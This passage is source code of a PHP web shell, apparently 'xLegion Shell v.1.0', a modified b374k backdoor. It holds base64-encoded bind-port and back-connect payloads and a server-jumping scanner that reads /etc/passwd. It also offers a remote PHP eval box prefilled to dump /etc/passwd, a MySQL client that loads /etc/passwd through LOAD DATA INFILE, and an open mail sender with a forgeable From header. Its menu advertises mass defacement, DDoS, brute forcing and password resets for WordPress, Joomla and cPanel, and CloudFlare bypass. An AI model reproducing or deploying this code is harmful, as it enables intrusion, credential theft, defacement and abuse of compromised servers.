dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//jum
$jumper="3VRdb9MwFH0Gif9wa1XY0UrTwQNSm6ZICCR4AIk9oW0KbuwshsSObIetTPx37k26bOOBH4CipNG559xzP5zqsnbAsij3jYaykSFsL1jZqr27uWB5Fj3eCkrXhE5aDL1ElG1APHv6ZB5a2IKxprjSUfAgK120TmmewHYLqwR2MLG4qyq+BmW0YO+8d34NZ3d8DH+2WRpVjg9PDyomR22mzM+pKGMrh+bnRXFqX78qo3EWMqpqYlzJg6SiJdReV1u+4zlbzm8+yVYvWZZKTE38HM5q3TRFcZmlaJDD307fxzzwEX8bWcMHq5zVwcgfPTwvXXfYAFsqGbXgX/kimlaLJFkyuDeDzYsExuws2ZBB0LEgZtGY1kSxQvTNvEO/a4X9V67TVvBUxzIdQb7gno9SU4GYHbkJ3NIQQbDzF5cwTBLW8Nb1yn6L8EVLBQ+S/NdD/T2crq7f4/yk9/IgEJz3QfvwCCmdrR4CpDIIrDZwXZtGi1mlXSXuBpzcwjxET0vBYx0mfFoFinM4Xa2I2DnyQjq+CJIt+Pq4taESi4UTod9jbCSsFqQ6cpTxv+jrSGvX6pQvJ9GSp9hZY8qijm2T8sld3OedoZBTvYSbUHjcPi1ZDGkpMPRcdH2oR1lYTOqxgIcE9FuMSpotXXNzckLvlcPUZQ3HJCDDOGd00PT3wc/fu94qmF0OWz+eFLY7bB/19bgnlv8jmA4Ha+9zTv67/A8=";
//confscan
$scanconfig="DQooJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+RXJyb3I6IFNhZmVfbW9kZSA9IE9uPC9iPjwvZm9udD4nKTsNCnNldF90aW1lX2xpbWl0KDApOw0KQCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7DQppZiAoISRwYXNzd2QpIHsgZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+Wy1dIEVycm9yIDogQ291ZG5gdCBSZWFkIC9ldGMvcGFzc3dkPC9iPjwvZm9udD4nKTsgfQ0KJHB1YiA9IGFycmF5KCk7DQokdXNlcnMgPSBhcnJheSgpOw0KJGNvbmYgPSBhcnJheSgpOw0KJGkgPSAwOw0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpDQp7DQokc3RyID0gZmdldHMoJHBhc3N3ZCk7DQppZiAoJGkgPiAxMDApDQp7DQogICRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOw0KICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOw0KICBpZiAoKCR1c2VybmFtZSAhPSAnJykpDQogIHsNCiAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpDQogICB7DQogICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsNCiAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KICAgfQ0KICB9DQogICB9DQokaSsrOw0KfQ0KZWNobyAnPHA+DQo8Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwODA4MCIgZmFjZT0iQ2FsaWJyaSI+DQpTZXJ2ZXIgSnVtcGluZyBGaW5kZXIgVmVyc2lvbiAzLjAgPGJyPjwvZm9udD4NCjxmb250IHNpemU9IjMiIGNvbG9yPSIjODAwMDAwIiBmYWNlPSJDYWxpYnJpIj4NCkNyZWF0ZWQgYnkgdXphbmMgfCAyMDExIC0gVGFuZ2VyYW5nIC0gSW5kb25lc2lhDQo8L2ZvbnQ+DQo8L3A+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDgwODAiIGZhY2U9IkNhbGlicmkiPlsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsgU1RBUlQgXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250Pg0KJzsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjx0YWJsZSB3aXRoPSczMCUnPjx0cj48dGQ+PGZvbnQgc2l6ZT0nMycgY29sb3I9JyNlZTA4MDgnIGZhY2U9J0NhbGlicmknPiBbK10gL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvPC9mb250Pjxici8+PC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz4gWytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WyBGSU5JU0ggXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250PlxuIjsNCmVjaG8gIlxuIDxmb250IHNpemU9JzInIGNvbG9yPScjODAwMDAwJyBmYWNlPSdDYWxpYnJpJz5bK10gU2Nhbm5lcnMgaGF2ZSBiZWVuIGNvbXBsZXRlZCB8IFRoYW5rIHlvdSBmb3IgdXNpbmcgdGhpcyB0b29scyBbK108L2ZvbnQ+XG4iOw0K";
?>
<html><head>
<link rel="SHORTCUT ICON" href="http://fedupintolerant.com/wordpress/wp-content/uploads/2012/09/Biohazard-gif.gif" type="image/x-icon"/>
<title>.:xLegion Shell v.1.0:.</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur102.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2008/11/24/cool-green-pointer.html" target="_blank" title="Cool Green Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Cool Green Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:#00ff00;
}
#menu{
background:#111111;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:2px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #00ff00;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#00ff00;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #00ff00;
border-top:1px solid #00ff00;
}
.output {
margin:auto;
border:1px solid #00ff00;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k1{
font-size:30px;
padding:0;
color: #333333;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style>
<br><center><img src="https://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-prn1/521420_158296887663531_2009801527_n.png" height="250" width="250"></center>
</head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="_";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">Xr1<span class="b374k1">pt3</span>d</span></a></td></tr><tr><td><b>xL3gi0n Shell v.1.0</b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<div id="menu">
<a href="?<?php echo "y=".$pwd; ?>"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="33"></a>
<a href="?<?php echo "y=".$pwd; ?>&x=jumping">jumping</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mysql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scaner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">Cgi Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
</div>
<!-- menu end -->
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
$sqlhost = $_GET['sqlhost'];
$sqluser = $_GET['sqluser'];
$sqlpass = $_GET['sqlpass'];
$sqlport = $_GET['sqlport'];
if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
// show mysql info
$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
$msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&\">[ databases ]</a>";
if(isset($_GET['db'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
if(isset($_GET['table'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
$msg .= "</div>";
echo $msg;
if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
$db = $_GET['db'];
$query = "DROP TABLE IF EXISTS b374k_table;
CREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE b374k_table;SELECT * FROM b374k_table;
DROP TABLE IF EXISTS b374k_table;";
$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
</form></div>
";
// show available tables
$tables = array();
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_fetch_row($hasil)){
@array_push($tables,$table);
}
@sort($tables);
foreach($tables as $table){
$msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
}
$msg .= "</table>";
}
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
// dump tables
$db = $_GET['db'];
$table = $_GET['table'];
$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
$msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
</form></div>
";
$columns = array();
$msg = "<table class=\"explore\" style=\"width:99%;\">";
$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
while(list($column) = @mysql_fetch_row($hasil)){
$msg .= "<th>$column</th>";
$kolum = $column;
}
$msg .= "</tr>";
$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;
$pagenum = 100;
$totpage = ceil($total / $pagenum);
$start = (($page - 1) * $pagenum);
$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_fetch_assoc($hasil)){
$msg .= "<tr>";
foreach($datas as $data){
if(trim($data) == "") $data = " ";
$msg .= "<td>$data</td>";
}
$msg .= "</tr>";
}
$msg .= "</table>";
$head = "<div style=\"padding:10px 0 0 6px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
for($i = 1;$i <= $totpage;$i++){
$head .= "<option value=\"".$i."\">".$i."</option>";
if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
}
$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
$msg = $msgq.$head.$msg;
}
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
$db = $_GET['db'];
$query = magicboom($_GET['sqlquery']);
$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
</form></div>
";
@mysql_select_db($db);
$querys = explode(";",$query);
foreach($querys as $query){
if(trim($query) != ""){
$hasil = mysql_query($query);
if($hasil){
$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++)
$msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
$msg .= "</tr>";
for($i=0;$i<@mysql_num_rows($hasil);$i++)
{
$rows=@mysql_fetch_array($hasil);
$msg .= "<tr>";
for($j=0;$j<@mysql_num_fields($hasil);$j++)
{
if($rows[$j] == "") $dataz = " ";
else $dataz = $rows[$j];
$msg .= "<td>".$dataz."</td>";
}
$msg .= "</tr>";
}
$msg .= "</table>";
}
else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
}
}
}
else {
$query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;";
$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
</form></div>
";
// show available database
$dbs = array();
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil)){
@array_push($dbs,$db);
}
@sort($dbs);
foreach($dbs as $db){
$msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
}
$msg .= "</table>";
}
@mysql_close($con);
}
else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
echo $msg;
}
else{
?>
<form action="?" method="get">
<input type="hidden" name="y" value="<?php echo $pwd; ?>" />
<input type="hidden" name="x" value="mysql" />
<table class="tabnet" style="width:300px;">
<tr><th colspan="2">Connect to mySQL server</th></tr>
<tr><td> Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
<tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
<tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
<tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr>
</table>
</form>
<?php }}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
